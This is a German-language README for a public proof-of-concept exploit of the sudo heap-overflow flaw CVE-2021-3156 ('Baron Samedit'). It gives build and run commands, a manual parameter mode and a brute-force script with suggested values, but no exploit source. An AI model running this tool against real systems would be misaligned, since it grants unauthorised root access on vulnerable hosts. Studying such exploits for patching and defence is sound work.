CVE-2021-3156 PoC

Einführung

Dies ist ein Exploit für die CVE-2021-3156-Sudo-Sicherheitslücke (von Qualys als Baron Samedit bezeichnet).

Verwendung

Kompilieren:

$ make

Ziele auflisten:

$ ./sudo-hax-me-a-sandwich

Ausführen:

$ ./sudo-hax-me-a-sandwich <target_number>

Manueller Modus:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

Brute-Force-Zielsuche (experimentell)

Stelle sicher, dass GNU parallel installiert ist.

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

Einige Standardwerte zum Ausprobieren:

$ ./brute.sh 90 120 50 70 150 300

Frisst alle verfügbaren Kerne auf. Versuch nicht, nebenbei Netflix zu schauen und zu bruteforcen.

Mitwirken

Sende (vernünftige) PRs, vielleicht merge ich sie.

Ein paar Ideen:

• Weitere Ziele
• Zielsuche
• Andere Exploitation-Strategien
• Mehr eigenständige Funktionalität:
  • Shared Library hax.c einbetten (bitte klein machen, ELF-Golf + asm setuid/execve-Stub)
  • mkdir-Logik zu hax.c hinzufügen
• Verzeichnis-/Shared-Library-Bereinigung